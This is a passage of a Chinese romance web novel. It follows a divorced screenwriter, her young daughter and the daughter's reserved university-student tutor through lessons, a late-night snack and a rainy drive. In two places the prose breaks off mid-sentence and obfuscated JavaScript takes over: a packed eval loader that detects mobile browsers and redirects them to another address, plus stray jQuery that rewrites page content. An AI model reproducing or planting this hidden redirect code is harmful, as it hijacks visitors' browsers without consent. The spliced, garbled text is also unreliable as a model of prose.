《夜风惊扰》
3. 03
郁野甫一走出电梯,便听见一声隐约的犬吠。
打开门,一只硕大的金毛犬径直扑了上来,撞得人差点一个趔趄。
是他养的狗,名叫阿加莎。
阿加莎一边嗅闻一边发出兴奋的气声,郁野弯腰摸它脑袋,“嘘,安静点,别吵,别吵。”
转而望向餐厅,同那里坐着的一个竹竿一般高瘦的男生打声招呼。
男生叫卓景阳,是郁野同班同学,现在也在同一个部门实习。
卓景阳:“精神还不错,东西都吃了,我还替你遛了一会儿。”
郁野一顿,“我开玩笑的,你当真了?”
卓景阳默默地比了个中指,“你不早说!差点没把我累死!”
郁野笑了一声。
卓景阳的妹妹上个月做了脑瘤手术,他父亲早逝,和母亲妹妹相依为命,家境原本就不大好,妹妹得了这个病,更是雪上加霜。
为了尽快给妹妹凑足手术费早日安排手术,卓景阳找郁野借了一笔钱,打借条时,很是认真地准备按照银行定期的标准,把利息也写上去。
郁野随口开了句玩笑,请他帮忙遛狗抵扣利息,因为他干家教没时间,请人来做,这钱也是要花的。
这两天阿加莎感冒了,不大有精神,郁野请卓景阳下班之后过来帮忙瞧瞧,没想到卓景阳把遛狗抵息的话当了真。当然他的性格就是这样,一板一眼的。
“算了算了,我就当锻炼身体了。”卓景阳合上笔记本电脑,开始收拾背包。
“吃饭了吗?请你吃夜宵?”郁野说。
“你别老请我,能不能找个女生请一请。”
郁野挠挠阿加莎的脑袋,笑了笑。
“你试课怎么样?”卓景阳问。
“还行。定下来了。”
“要干多久?”
“整个暑假吧,干到小孩开学。”
“你干这个没性价比吧。同样是教,不如教高中生,或者接点外包。”
“还孔新语人情。还行。教小学轻松点。”
卓景阳不说什么了,“那我回宿舍了。要真需要遛,你说一声就行。”
“行。”
卓景阳点点头,走去门口,阿加莎摇着尾巴跟上去送客,他蹲身挼了一把,“我走了啊,阿加莎,你跟郁野吃夜宵去吧。反正你也是女生。”
郁野:“……”
门关上了。
郁野去洗了个澡,换上干净衣服,湿着头发走去厨房,打开冰箱,从里面拿出一罐冰镇啤酒,拉开,把拉环投进垃圾桶里。
到客厅沙发上坐下,阿加莎也跟过来,挨住他的腿趴了下去。
郁野拿起遥控器,低头问它:“看点什么?”
阿加莎发出愉悦的撮嘴声。
郁野点开影片库,看了眼墙面上的时钟,9点47分。
点到第九页,往后数,第四十七部,打开。
灯全灭了,只剩屏幕发出的黯淡白光,像无垠太空里,一颗已经到了生命末期的白矮星。
/
周六上午,程桑榆开车把程斯言送去她爷爷奶奶家里。
车停在小区门口,斯言下车有点磨磨蹭蹭的。
“妈,你下午能早点儿来接我吗?”
“不在奶奶家里吃晚饭吗?”
“董星灿让我去她家里吃,我们晚上想一起看个动画。”
“那你去了就跟你奶奶说一声,让她不要准备晚上的菜,免得白忙活。”
“好!”
程桑榆知道斯言不怎么喜欢去她爷爷奶奶家里玩,但有些事她能纵容,有些基本的人情世故却不能,她只是跟唐录生结束了婚姻关系,斯言和唐家的亲缘关系却是斩不断的。
程斯言下了车,一个人走进小区,到楼底下,拨通门禁系统上楼。
停在门口,顿了好一会儿,才叹口气敲门。
奶奶王书珍热情地把人迎进门,爷爷唐孝荣端来水果和零食,又把电视调到卡通频道。
王书珍把一袋子四季豆拿了过来,边摘边同斯言聊天。
斯言伸手要去帮忙,王书珍把袋子往自己面前一搂,笑说:“不用!你看动画吧!”
“我在家里也会帮着姥姥做事的。”
“你姥姥是个懂得享清福的人,从你小时候就喜欢使唤你干活儿,你刚会爬那会儿,她就让你帮忙拿拖鞋了。”
斯言嘴唇张了张,不说话了,转头拿了个洗净的苹果,一口咬下去。
奶奶微微撇嘴的轻蔑表情,和评价姥姥的语气,让她心里不舒服极了。
王书珍又笑问:“言言,你们说要换家教的,换了没有?”
“换了。”
“这次是什么人啊?”
“是之前的孔老师推荐的,他们的年级第一名……”她顿了一下,直觉告诉她最好不要说新的家教是个男生。
“这么厉害啊。那你爸爸的那一半补课费没算白花。言言你跟人好好学,也考年级第一。”
斯言啃苹果,不说话。
聊了会儿天,四季豆摘完了,王书珍起身往厨房走去,“言言你喝鸭汤吧?我把鸭子炖上,中午吃肉,晚上吃鸭汤面。”
斯言一下挺直了后背,“那个……奶奶,我晚上跟同学约好了去她家里吃饭。”
王书珍笑容淡了些,“是不是你妈不让你在我们这儿玩太久啊?”
“不是的!是真的……我同学叫董星灿,奶奶您见过她的,她是我最好的朋友,她也经常来我家里吃饭的。”
“哦,灿灿是吧?”
“是的。”
“她还在学跳舞吗?”
“嗯。她还得奖啦。”
“照我说,言言你还是应该学个钢琴或者舞蹈什么的,滑板多危险啊,哪有女孩子学这个的……”
斯言又不再说话了。
所幸王书珍已经进了厨房。
斯言瞥一眼坐在一旁不苟言笑的唐孝荣,低声问道:“爷爷,我爸中午会过来吃饭吗?”
“他不来,他外地出差去了。”
斯言暗暗松口气,把苹果咬出更加清脆的声响。
/
将斯言送到以后,程桑榆把车掉头,开去某处写字楼,找简念汇合。
那儿有间刚腾退出来的大办公室,租金很实惠,简念跟物业约了时间,今天过去勘察环境。
简念已经先到了,在空旷的办公室里踱步,丈量距离。
“这里摆办公桌;这边做水吧台;这边采光不好,可以隔起来做个服装道具间……” 简念边走,边向程桑榆描绘她心中的蓝图,“你要不要单独的房间?我们也可以隔几间出来。”
“我都可以。”程桑榆笑说,“你了解我,你给我张桌子我就能干活。”
简念停住脚步,转头看她,笑问:“今晚新剧上线,紧张不紧张?”
“有一点吧。还好。如果数据不好,无非砍了重新再来。”
“你心态未免也太好了。”
“嗯。”程桑榆笑说,“现在有活干,有钱拿,这样的日子和我之前相比,一个天上一个地下,我再贪心就有点不知好歹了。”
“现在还不到说这种话的时候,姐妹,你值得更好的。等着吧,我们会发大财的。”
/
周一晚上八点半,程桑榆回到家里。
她还没吃晚饭,一直在开复盘会议,累过头了不大有胃口。
康蕙兰让她歇会儿,等下可以跟斯言一起吃点夜宵。
程桑榆洗了一把脸,走去书房那儿,查看里面的情况。
怕打扰人,没离得太近。
哪里知道里头的人像装了雷达一样,在她目光投过去的瞬间,便抬起头来,瞥向她。
男生今天穿了件灰蓝色的T恤,她之前以为是白色衣服显眼,现在发现不是,是人本身,这么灰暗的颜色,叫他穿着也觉得醒目极了。
程桑榆微笑着点了一下头,算作打招呼。
郁野没什么表情,但也跟着轻轻地点了一下头,幅度不大明显。
回到餐厅,程桑榆从凉水壶里倒了一大杯水。
正咕噜喝着,忽闻不远处响起一道男声:“请问……”
程桑榆抬头。
郁野站在书房门口,“有没有多的灯泡?”
“灯坏了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139881|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“不大亮了。”
“有。”程桑榆放下杯子,“我马上拿过来。”
郁野点头,转身回书房。
站在书桌前等了一会儿,程桑榆进来了,一手拿灯泡,一手提着一张收起来的人字梯。
郁野本能伸手去接人字梯。
程桑榆却没看见,把灯泡往桌面上一放,一把张开梯子,支稳,两下便爬到了最上一级。
动作迅捷,郁野的手都还定在半空。
他无声地收回了。
却见程桑榆取下腕上黑色头绳,两下扎好头发,仰面查看片刻,随即低下头来:“那个,麻烦郁老师帮忙关下灯?”
郁野抬眼,对上程桑榆俯看的目光。
她今天穿着白色吊带,外搭浅咖色的休闲衬衫,扎带束起衣袖,以纽扣扣在肘部以上,露出清瘦的小臂。
略显苍白的脸,比上周五见多了两分气色,在她低头那瞬,没绑的几缕发丝从颊边垂了下来。
空气被扰动,拂过几无痕迹的气流。
郁野收回目光,转身走往门边,揿下开关。
书房一瞬暗下去,只有桌上那盏护眼灯亮着。
郁野借那盏灯的光亮,见程桑榆仰起头,微微抿住嘴唇,三下五除二地拆下了灯泡,似有积灰簌簌落下,她别过头,眯住眼睛。
他和斯言几乎同时行动。
斯言坐在书桌后面,还是他快一步,到了梯子下方。
程桑榆垂臂,郁野伸手接了灯泡,又递过桌上那颗新的,
“谢谢。”
程桑榆举起手臂,对准卡口,旋转,拧紧,干脆利落。
回头,说道:“麻烦……”
话没说话,郁野已提步走到门边去了。
按下开关,灯泡登时发出明亮的白光。
程桑榆拍拍手,仰头眯眼看了会儿,像是欣赏自己微不足道的成就。
随后爬下梯子,一边往外走,一边说道:“灯罩好脏,我拿抹布擦一擦。”
望着身影离开了书房,郁野收回目光,低声问坐在书桌后的斯言:“你家里,是你妈妈换灯泡?”
“是的。家里维修工作都是她做呀。换花洒、安装置物架、重置路由器、修理马桶水箱什么的……以前东西坏了,都等我爸回来。他做生意的,回家晚,而且老忘事,东西一坏好多天。我妈就试着自己动手,发现一点也不难,后面就都自己做啦。”斯言扬起下巴,“她什么都会,很厉害的。”
顿了一会儿,郁野“嗯”了一声。
片刻,程桑榆拿着一张打湿的干净抹布,重新爬上梯子。
擦了两下,察觉到什么,倏地低头望去。
郁野靠着桌沿,一只手掌撑在身后,正在打量着她。
瞳色很浅的一双眼睛,看不出什么情绪。
目光很平静,带着一种春风不醒的静默。
被她视线撞上,他没出现尴尬的反应,也没把目光移开。
“哦……很快,不会耽误你们。”程桑榆倒是不自在的那一个,不由地加快手里的动作。
湿抹布擦完,又从长裤的口袋里摸出来一张干的棉柔巾,里外擦了一遍。下了梯子,手掌一按踏板,收了起来,单手拎起,往门外走去。
动作利索,身影轻倩。
程桑榆坐在客厅里吃了两个橘子,又刷了会儿工作群的消息,郁野和斯言就从书房里前后脚地出来了。
康蕙兰把一只珐琅锅端上餐桌,斯言抽抽鼻子:“是醪糟汤圆!”
康蕙兰笑说:“快去洗手吧。”
她拿了张隔热垫,放下珐琅锅,又去厨房拿碗,边往里走,边说:“小郁你也吃点再回去?”
正在拉背包拉链的男生,像是没料到会被点名一样,动作顿了一下。
康蕙兰拿出三个碗,一把筷子,又笑说:“醪糟是小孔从她老家寄过来的,比外面买的香。汤圆煮多了,小郁你帮忙吃半碗吧。”
程桑榆望向郁野。
片刻,他点了点头,“那就打扰了。”
程桑榆扬了扬嘴角。
其实没那么高冷嘛。果然还是小屁孩。
4.04
康蕙兰拿勺子盛了三碗醪糟汤圆,依次放到郁野、斯言和程桑榆面前,自己在对面坐下,笑眯眯地望着几人。
“姥姥你不吃吗?”斯言问。
“太晚了我吃了不消化。”康蕙兰望向郁野,“吃得惯吗,小郁?要是觉得不够甜的话,可以再加点糖。”
“不用。味道刚好合适。”
郁野语气虽不失礼貌,但毫无热络。
康蕙兰明显给难住了,她是路上遇见个哑巴都能跟人唠上两句的性格,现在面对郁野却仿佛无从下手,问他生活、学习或者家庭情况,什么都显得挺冒昧。
反观之前的孔新语,刚来两回,就在康蕙兰的热情攻势之下,把自己家里情况倒得个干干净净。
各自安静吃东西,好一会儿无人说话,只有程桑榆的手机,时不时来一条微信消息,振动一下。
康蕙兰这时候问:“你们礼拜六播的那个剧,怎么样啊?看得人多不多啊?”
康蕙兰紧跟时代,偶尔也会刷一刷短视频,但她眼睛不大好了,刷得不频繁,还是更喜欢开着电视一边听声一边做点手工活。
“还不错,数据比我们预期得要好。”
斯言抬头问道:“妈,那你后面是不是要经常加班呀。”
“嗯。是得忙一阵……”程桑榆反应过来斯言真正的意思,“你是怕我不陪你去环球城是吧?还拐弯抹角的,不直接说。”
斯言不好意思地笑了笑。
“放心,我答应你的事,肯定做到。”
“灿灿也想去,但她爸妈不让。”
“她一个人肯定不行的。”
“她可以跟我们一起呀。”
“我带着她万一她出了点什么意外,这个责任我担不起。”
斯言说:“好吧。”
“你们还小呢,以后多的是时间一起出去玩。”
“嗯!”
醪糟分量不多,郁野吃得很慢。
也不是多有意思的日常对话,他莫名地听进去了。
眼见斯言碗里要空了,他几口吃完自己的,放了勺子,端上碗起身。
康蕙兰拦住他来:“不用不用!放着吧我一起洗——吃饱了吗?还要不要再添一点?”
“吃饱了。谢谢您。”
去厨房洗了手,拿上背包,郁野打了声招呼,告辞。
这算是第一回正式上课,程桑榆也就起身送了送。
送出门之后,程桑榆点开微信,把今日的课时费转了过去。
回到客厅里,斯言已在帮着康蕙兰收拾碗筷。
康蕙兰往门口瞥了眼,像是确认人已经走了,迫不及待地问:“这个小郁,是不是小孔男朋友啊?他第一天来试课我也留了他吃夜宵,他说有事;今天一说醪糟是小孔寄的,就愿意留下来了。”
程桑榆一想,还真不是没有这个可能,不过嘴上只说:“不知道,没问过。他们现在的年轻人边界感强,我们最好别随便打听。”
康蕙兰说:“知道。”
程桑榆洗了澡,把今天换洗下来的衣服都丢进洗衣机里,去书房接着干活。
拿上手机一看,转账刚刚被接收了。
对方回了一段音频文件,2小时时长,以今天的日期命名,“20220718”。
程桑榆没点开,手机锁屏倒扣,沉浸式地工作了一个半小时,这才去睡觉。
康蕙兰和斯言早就已经睡了,屋里格外安静,程桑榆蹑手蹑脚回到自己房间躺下。
想起什么,拿过搁在枕边充电的手机,打开微信,点开那段音频文件。
一些杂音之后,响起郁野的声音:“上节课我们讲完了归一问题、归总问题、和差问题……都掌握了吗?”
斯言:“掌握了!”
“那你分别出一道应用题。”
斯言:“我出吗?”
“对。你会出题了,就是真的弄懂了。”
“……那我们什么时候开始上四年级的课呀?”
“开学之前肯定讲完。”
“确定吗?只剩一个多月时间了哦。”
“确定——快出题。”
程桑榆笑了笑。
录音里的声音,与人原本的音色有些微妙的区别,很容易分辨。
但不得不说男生的这一把音色真是好听极了,有一种年轻人特有的清澈感。脸蒙起来,单做个声音主播,恐怕也能引得人疯狂打赏。
/
之后一段时间,程桑榆每天都在加班。
新剧播出效果远超预期,要保持热度至少得维持周更,而在第二集播出之后,剧组开会决定根据评论区反馈,对后续剧情作出调整,以更契合观众的期待,这也就导致之前提前拍摄了素材作废了一大半。
为了保证周更,必须最晚周一晚上就得确定剧本,周二做完拍摄统筹,周三和周四两天拍完,周五后期制作,并上传至平台提前完成审核。
每一环有人掉链子,都有可能导致进度延误。
这周一上午开完剧本讨论会,程桑榆下午完成了剧本的撰写,提交到了群里。
今天进展比较顺利,结束才五点半。
程桑榆一看时间,当机立断把笔电一关,喊坐在办公桌对面的人:“简总。”
简念抬头,笑说:“怎么了,程总?”
“我得下班了,我快两周没跟我女儿一起吃晚饭了。”
“……你不说我都忘了,我也晾‘184’一周了。”
“184”是简念最近接触的约会对象。
简念和程桑榆这种掉沟里一回才醒悟过来的不一样,是个原生的不婚不育者,连恋爱都谈得少,基本都是短择的关系,新鲜感一过就闪人。
这个“184”还没吃到,尚有新鲜感,不过再晾就不是欲擒故纵,而是真要晾凉了。
简念起身敲了敲桌子:“大家今天都早点下班回去休息吧,明天九点半准时开会,不准迟到。”
程桑榆在路上堵了一阵,到家正好赶上晚饭上桌。
吃完,照旧是斯言帮着姥姥整理厨房,而程桑榆受不了自己在办公室里闷了整天的气味,先去洗头洗澡。
随后,斯言去书房写作业,康蕙兰下楼去,将孔新语从老家寄来的李子,分一些给常来常往、关系密切的邻居。
程桑榆洗完澡,把湿头发用干发帽包了一会儿,不再滴水之后,取了下来,走去客厅沙发上坐下,把电风扇提到跟前,打开一档,头低下去开始吹头发,一只手刷手机,一只手不时拨一拨。
忽而门铃响起。
程桑榆一边看视频,一边起身去开门。
厚重的防盗门,往里一拉开,目光从手机屏幕上抬起,往前一瞥,一下愣住。
她以为是康蕙兰回来了,没想到是郁野。
高而挺拔的一道身影,把楼道的灯光都挡了大半。
身上穿着白色T恤,外搭一件宽松的浅灰短袖衬衫,额头、面颊和领口的白皙皮肤热得微微泛红,沁了一层薄汗,整个人更是散发着一蓬蓬的热气。
程桑榆下意识看手机上的时间。
6点40分。
“抱歉。”郁野平声解释,“我一般骑车过来。看天色要下雨,今天提前从公司出发了。”
“……外面在下雨?”
“刚下。”郁野目光往她脸上瞥了一眼,视线立即往上抬,最后的落点很奇怪,似乎是在她额头往上的位置,整个人也往后退了半步,“不方便的话,我可以在楼道里等一会儿。”
程桑榆立即下意识地伸手抱住了自己手臂,稍挡住了胸口。她刚洗完澡,穿了件长款的睡裙,自然没有穿内衣。原本准备吹完头发就去换衣服,没来得及。
“不不,没有不方便,快进来吧,外面又热又有蚊子……”程桑榆后退,让出空间,转身开鞋柜门,拿出里面唯一的一双黑色男式凉拖。
她往里面走,指了指沙发那边,“你稍坐一下。”
她没再管他,快步走回卧室,锁上门,脱下睡衣,换成了居家的体恤和牛仔裤,这才出去。
郁野坐在沙发上,她刚刚吹头发的那个位置。
“你衣服打湿了吗?”程桑榆问。
“没有。”
程桑榆目光瞥见他面前的瓷砖地上,散落着几根预备吹完了再一起收拾的长发,怕他踩到了弄得乱七八糟,于是迈步走过去,从一旁茶几上的纸巾盒里,揪出一张纸巾,蹲下身去,归拢头发,拈了起来。
郁野后背紧绷。
即便放缓呼吸,犹有潮湿的香气,在风扇的吹拂之下,扑面而来。
他克制着没有垂下目光。
程桑榆把包着头发的纸巾丢进一旁的垃圾桶里,起身说道:“要不你今天就提前开始?”
“……好。”
“我去和斯言说一声。”
程桑榆走往书房,轻轻敲了敲半开的门扇,“言言,郁老师来了,你把作业收拾一下准备上课吧。”
“好~”
程桑榆转头,向着郁野点了点头。
郁野提上自己的双肩包,起身。
在书房门口,郁野与她错身,余光看见半干的长发堆拢在肩头,灰色布料被水渍浸出了更深的颜色。
虽然早开始了十五分钟,郁野却没有提早下课,仍旧上到了晚上九点整。
程桑榆一晚上都窝在沙发里看书,听见书房里郁野说“今天就先讲到这里”,放下手里的书,起身走去阳台。
开放式阳台,雨打进来,浇得康蕙兰饲养的那些花花草草叶片发亮。
雨持续不断地下了两个小时,暑气也消散了,风里带上了几许潮湿的凉意。
听见书房门口响起脚步声,程桑榆转头望去,郁野单肩背着背包从里面走了出来。
“雨还没停,我开车送你吧。”程桑榆说。
郁野顿住脚步,“我打车就行。”
“我们小区门口路窄,下雨天人家司机不愿意开进来,你不还带着自行车吗,打车不方便。”
程桑榆向着书房里打声招呼:“言言,我送郁老师一趟,你自己吃夜宵洗澡。”
“好!”
同康蕙兰也打过招呼之后,程桑榆径直往门口走去。
她从鞋柜里取出一双平底鞋穿上,拿了车钥匙勾在手指上,又从伞桶里抽出两柄雨伞,先一步迈出门。
郁野换好了鞋,走出门。
两人一前一后的下楼,程桑榆想聊点儿什么,又觉得没什么可聊的,也就没开口。
到了一楼,程桑榆拿钥匙的那只手拨开门锁,伸臂推门。
外头有风,把铁门往回顶了一下,一时竟没有推开。
正要再推,后背忽觉温热的气息挨近。
一只手臂从她肩膀上方的位置伸过来,抵住了门扇。
一瞬静止,门被推开了。
外头风雨琳琅。
程桑榆顿了一下,走出去,自己撑了一把伞,另外那一把递给郁野。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147218|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“谢谢。”
站在雨里,等郁野出来了,程桑榆问:“你自行车停在哪儿?”
“三单元门口。”
程桑榆点头,往三单元方向走去。
门口有个棚子,附近几栋的自行车都统一停放在此。
郁野走过去,找到自己的解了锁。
他的车应当是骑行专用的,线条简约流畅的红色车身,一看即知价格不菲。
程桑榆等他单手把车推了出来,转身往自己停车的地方走去。
小区修建时间早,那时候没有修筑地下空间,等后来几乎家家都有了机动车,停车成了一个老大难的问题,最后物业在内部规划了一块停车场。车位数不多,业主摇号购买,所幸程桑榆父亲摇到了,不然现在程桑榆就得跟其他没摇到的业主一样,把车停到小区外面的路边,假如回来得晚了,得停到七百米外,别提多麻烦。
车也是程父留下来的,一部开了快七八年的德系家用车。保养得好,又换了新车衣,外表看起来和新车没什么两样。
程桑榆按车钥匙解锁了后备箱,估摸空间不够,便问郁野:“你自行车能折叠吗?”
郁野摇头。
程桑榆便走去后座,一把拉开车门,自己撑着的伞往郁野手里一递,弯腰爬上车,两下收起了后座的靠背。
手掌撑着座椅,往后一退,鞋底仿佛撞到了什么。
转头一看,是郁野的小腿骨。
“……抱歉。”
郁野摇头,往后退了一步,伞却还是高撑在车门口,把雨挡得严严实实。
程桑榆下了车,没接伞,又去扶自行车的把手。
看架势,是打算替他把车放进去。
“我自己来吧。”郁野递过她的伞。
“行……你自己来,你车应该很贵,免得给你碰坏。”
“不是。”郁野有点无语,他以为自己一辈子也不会说这句话,“……我是男生。”
程桑榆愣了下,笑了,“家里装卸东西都是我,习惯了。”
她伸手,“伞给我吧。”
郁野递过伞,她接过之后举起来。意识到这年轻人是真的高,稍微举矮一点伞面就要挨到他的头了。
郁野轻巧地提起自行车,平举着往里一放,空间刚好。
退后一步,抬臂,关上了后备箱门。
折腾了这么一番,车子总算上路。
程桑榆点开手机导航软件,丢到副驾驶:“输下地址。”
她把车开出停车位,往小区门口方向开,转头往右侧瞥一眼,郁野还在打字。
大约是察觉到她的目光了,他解释道:“九宫格用不惯。”
“……”
“好了。”下一瞬,他递过手机,app里传来“开始导航”的提示音。
程桑榆把手机往支架上一放,顺道瞟了一眼目的地:泊月公馆,二期。
猜到郁野家境应该很不错,但住在这种地方,还是让她大吃一惊。泊月公馆是个开发很早的高端小区,一期都是独栋别墅,二期有几栋小洋楼,房价称得上寸土寸金。
住这种地方的人,跑来给她做一小时一百块的家教?
她现在真有些相信康蕙兰的判断了。
雨天车行缓慢。
外面风雨如注,车厢里却十分安静,只有导航app的提示音。
老车子的娱乐系统落后,要听歌只能用手机,程桑榆没空操作,又不爱听电台一堆的男科、贷款和装修广告,就干脆由着这么安静下去了。
开了大约三个十字路口,忽听郁野出声:“前两周都在加班?”
“嗯。”程桑榆没料到他会主动问自己的情况。
她这两周到家的时候,斯言和康蕙兰都已经睡了,自然也没和郁野碰上面,但每周一三五的课时费,她都是当天转了的,有时候忙到了晚上十一二点才想起来,郁野也没催过。
他补课的录音音频,却发得很及时,基本下了课过了半小时就发到了她那里。
郁野张口,似乎还要说什么,这时候程桑榆手机振动,进了一个电话。
简念打来的。
程桑榆右手滑动屏幕接听,简念激动的声音毫无铺垫地响起来:“我靠!我靠!桑你猜我跟‘184’约会碰见谁了?!唐录生!他跟一个女的在一起!”
“……”
“那女的看起来至多不过二十岁,不知道是不是还是学生。而且你知道他俩在哪儿吗?卡地亚!他在给人买手镯!你们结婚这么多年,他都没给你买过卡地亚!”
“……”
“我说话你在听吗?你怎么没反应啊。”
“我在开车送人……”
“谁?”
“言言的家教。”
“哦……你开的免提啊?”
“……嗯。”
“那我晚点再打给你?”
“……嗯。”
电话挂断了。
程桑榆没作声,仍旧开车。
前面一个漫长的红灯,她缓慢踩下刹车,隔了一段距离,停在前车后面。
副驾驶的人转过头来,目光停在她脸上,仿佛终究没忍住,问道:“你不去?”
程桑榆转头看他,“什么?”
“捉奸。”
程桑榆噗嗤笑出声,“小孔没跟你讲过我家里的情况?”
“没问过。”
“我两年前就离婚了。那我前夫,他跟什么人在一起,跟我没关系。”
5.05
程桑榆说完便抿紧嘴唇。
意识到自己这话语气不够云淡风轻,多少还是能够品出几分怨气。
她不想承认,自己还是被简念那句“你们结婚这么多年,他都没给你买过卡地亚”给刺到了。
人不管是做什么,最怕比较。
也幸好唐录生人不在这儿,不然一定会逮着她的口气上纲上线,给她泼一身“余情未了”的脏水。那她还不如一头撞死。
前方红灯转绿,程桑榆沉默踩下油门,跟上前车。
无声开了一阵。
低气压得很明显,副驾的人也始终没有出声,她觉得他应当是看出来了,自己故作洒脱实际愤愤不平。
程桑榆手掌轻拍了一下方向盘,决定自己主动破解这份尴尬,当然更因为实在憋不住了:“那可是卡地亚!”
男生微讶,抬起眼帘看向她,片刻,点了点头,“嗯。挺贵的。”
从住泊月公馆的富二代少爷嘴里说出来,未免没什么说服力,但程桑榆还是气顺了。
郁野仍旧看着她,身体后靠的坐姿略有散漫。
他这个人有种奇异的特质,冷淡得超然,却并不会叫人觉得自己被他轻慢了。
片刻,他出声道:“程斯言跟你姓。”语气介于疑问与陈述之间。
“离婚的时候改的。”
“怎么做到的?”
“什么怎么做到的?”
“说服你前夫同意。”
“哦……这个说起来……”
“只是好奇。因为……”郁野顿了顿,“我也是父母离异。”
程桑榆怔了下,“什么时候?”
“我十岁。”
“那你跟……”
“成年之前跟我妈生活。跟我爸姓。”
这男孩一直给人的感觉都是有点冷淡,好像什么事都不大能进到他的心里去。
所以骤然被他交了几句底,距离仿佛一瞬间就拉近了。
程桑榆手指在方向盘上敲了几下,斟酌着语气,其实是觉得交浅言深了,但不知道出于什么动机,最终还是说了:“我跟我前夫的婚房,当时我家出了十万块首付。当年房价八千多,现在涨到快三万了。我跟他离婚,只提了两个条件,一是斯言改姓程,二是那套房子我不要,我只拿三十万。这笔账算下来,他肯定不亏。我跟他既是高中同学,也是大学校友,朋友圈子重合率80%。他差一点出轨,我有实际证据,但没闹开,给他留了一点面子。再加上他多少有点愧疚心理,就答应了。”
“不觉得亏吗?”
“有资本的人,才有资格谈条件。我那个时候,除了捏着一份证据,什么也没有。所以我把自己想要的东西,分出了优先级,除了斯言,其他我都能妥协。而如果僵持下去,把他的愧疚给消磨没了,我想要的更加争取不到了。”
顿一顿,程桑榆又补充道:“当然……还因为斯言是女孩。如果是男孩,他家大约宁可把房子给我,也不会放弃抚养权吧。毕竟男孩要……”意识到旁边坐着的就是个男性,且与她井水不犯河水的,没必要言语冒犯,就住嘴了。
哪里知道,郁野自嘲地把这句话接了下去:“传宗接代?”
“嗯。”程桑榆笑了,心道不知道是单单这个样本好一些,还是新一代的年轻男性都要好一些,“无意冒犯啊。”
“没有。”一瞬,郁野补充一句,“你很理智。”
“只有输家才需要理智。因为赢家通吃。”
手机骤然响起提示语音:前方一百米,即将抵达目的地,目的地在您的右边——
郁野转头往窗外瞧了瞧。还真是要到了。
一百米眨眼抵达。
程桑榆把车停在泊月公馆二期的门口,“需要开进去吗?”
“不用。登记麻烦。”
程桑榆打上双闪灯,跟着下了车,替郁野撑起伞,等他卸下自行车。
郁野一手撑伞,一手扶车,垂眸望向她:“程……”
程桑榆意会到了他大约不知道怎么称呼她,上回他喊的是“程女士”,那也太正式太别扭了。
“你可以叫我程姐——桑姐也行,小孔是这么叫我的。”
郁野仿佛根本没听见她这句话,也仿佛是她自己根本错会了他的意思,自然不过地省略掉了称呼:“……周五我需要请个假,家里有人过生日。方便的话,可以改到周四。”
“行。我跟斯言和她姥姥说一声。”
“今天很抱歉。下次提前去我会先跟你微信打声招呼。”
“一点小事而已。你不要这么多礼貌,相处起来怪拘谨的。快进去吧,别站雨里了。我走了,拜拜拜拜!”
程桑榆潦草地挥了一下手,便走往驾驶座,收伞,拉开车门上了车。
待程桑榆的车离开视野,郁野收起雨伞,塞进背包最外侧的防水隔层,翻身骑上自行车,手指稳掌把手,双脚一蹬踏板。车子如一条暗红游鱼,汇入雨夜。
到了门禁处,双足点地,刷卡开门。
进门不远便是一个缓行的上坡,他弓背一蹬,车子轻捷地上了坡。
一个拐弯之后,身影消失于经雨洗刷,苍翠蓊郁的树影深处。
程桑榆到家之后又冲了一个凉,回房间,把电话回拨给了简念,跟她一起痛骂前夫,权作解压。
遇到渣男,往往闺蜜比本人还要咬牙切齿:“卡地亚哪里配得上你的档次。等我们发财了,你把家里的垃圾桶都换成爱马仕的!”
/
周四是一整天的拍摄工作。
为了赶工,大家没吃晚饭,收工之后,相约一道去吃东西。
程桑榆不巧今天生理期,为了不耽误工作,服了止痛药,忍耐一下午,此时已到极限,只想赶紧回家休息。
她跟简念和其他同事打过招呼,先行离开。
找到自己的车,解锁,正要上车,身后有人喊:“程老师。”
剧组的摄影师,也是简念从原公司离职出来创业,一道带过来的伙伴,名叫沈既明。
沈既明以前是拍商业广告片的,技术过硬,实话讲,到这么一个小团队来十分屈才。他是团队的定海神针,简念作为领导人有些时候很自我,但沈既明的意见,她怎么样都会纳入考虑。
沈既明在拍摄期间几乎不讲工作之外的废话,生活中又是个醉心钻研技术的i人,聚餐常会沦为团队里一堆e人的“玩具”。
大约因为这样,所以聚餐他也没去掺和。
沈既明背着器材包,快走两步,笑说:“能蹭一蹭程老师的车吗?”
“当然。沈老师你去哪里?”
“清水街附近。朋友约我喝酒——不用进去,到路口把我放下就行。”
清水街离程桑榆家很近,就隔一个路口。
程桑榆点头:“东西放后座吧,免得丢后备箱里给你磕坏。”
拉开后座车门,程桑榆帮沈既明把器材安置妥当。
摔上车门的一瞬,沈既明朝她伸手,诚恳说道:“要不我来开吧?我看程老师你好像不大舒服。”
程桑榆恍然明白,沈既明绕了一个圈子,其实是想送她回家。
“没关系,我自己来开就行。这个车子有点老了,不是很好开。”
程桑榆干脆地拉开了驾
